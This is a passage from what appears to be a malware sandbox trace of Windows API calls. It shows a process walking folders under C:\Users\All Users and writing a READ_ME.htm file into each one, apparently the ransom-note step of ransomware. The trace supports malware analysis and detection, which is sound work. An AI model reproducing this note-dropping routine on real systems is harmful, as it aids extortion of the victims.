onedrive\\setup\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.081] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.081] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fcc4fc0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.081] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fcc4fc0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.081] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.081] SetErrorMode (uMode=0x0) returned 0x1 [0142.081] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive\\setup", lpFilePart=0x0) returned 0x2b [0142.081] SetErrorMode (uMode=0x1) returned 0x0 [0142.081] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\*" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.082] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.082] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fcc4fc0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.082] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fcc4fc0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fcc4fc0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fcc4fc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.082] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.082] SetErrorMode (uMode=0x0) returned 0x1 [0142.082] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\READ_ME.htm", lpFilePart=0x0) returned 0x37 [0142.082] SetErrorMode (uMode=0x1) returned 0x0 [0142.082] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\setup\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft onedrive\\setup\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.082] GetFileType (hFile=0x1d0) returned 0x1 [0142.083] SetErrorMode (uMode=0x0) returned 0x1 [0142.083] GetFileType (hFile=0x1d0) returned 0x1 [0142.083] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a4e60*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29a4e60*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0142.084] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft OneDrive\\READ_ME.htm", lpFilePart=0x0) returned 0x31 [0142.084] SetErrorMode (uMode=0x1) returned 0x0 [0142.084] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft onedrive\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.085] GetFileType (hFile=0x1d0) returned 0x1 [0142.085] SetErrorMode (uMode=0x0) returned 0x1 [0142.085] GetFileType (hFile=0x1d0) returned 0x1 [0142.085] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a93f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29a93f0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0142.086] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle", lpFilePart=0x0) returned 0x19 [0142.086] SetErrorMode (uMode=0x1) returned 0x0 [0142.086] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*" (normalized: "c:\\users\\all users\\oracle\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.086] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.086] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0142.086] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.086] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.087] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.087] SetErrorMode (uMode=0x0) returned 0x1 [0142.087] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle", lpFilePart=0x0) returned 0x19 [0142.087] SetErrorMode (uMode=0x1) returned 0x0 [0142.087] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*" (normalized: "c:\\users\\all users\\oracle\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.087] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.087] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0142.087] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.087] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.088] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.088] SetErrorMode (uMode=0x0) returned 0x1 [0142.088] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java", lpFilePart=0x0) returned 0x1e [0142.088] SetErrorMode (uMode=0x1) returned 0x0 [0142.088] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\*" (normalized: "c:\\users\\all users\\oracle\\java\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.088] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.088] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0142.088] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.089] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.089] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.089] SetErrorMode (uMode=0x0) returned 0x1 [0142.089] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java", lpFilePart=0x0) returned 0x1e [0142.089] SetErrorMode (uMode=0x1) returned 0x0 [0142.089] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\*" (normalized: "c:\\users\\all users\\oracle\\java\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.089] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.089] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="installcache_x64", cAlternateFileName="INSTAL~1")) returned 1 [0142.089] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.090] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.090] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.090] SetErrorMode (uMode=0x0) returned 0x1 [0142.090] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", lpFilePart=0x0) returned 0x2f [0142.090] SetErrorMode (uMode=0x1) returned 0x0 [0142.090] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.090] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.090] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e887ac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e887ac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e887ac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0142.090] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0142.091] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0142.091] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.091] SetErrorMode (uMode=0x0) returned 0x1 [0142.091] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64", lpFilePart=0x0) returned 0x2f [0142.091] SetErrorMode (uMode=0x1) returned 0x0 [0142.091] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\*" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.091] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e0a51e0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x4fceb120, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4fceb120, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.091] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e887ac0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e887ac0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e887ac0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x4eba475, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseimagefam8", cAlternateFileName="BASEIM~1")) returned 1 [0142.091] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4fceb120, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4fceb120, 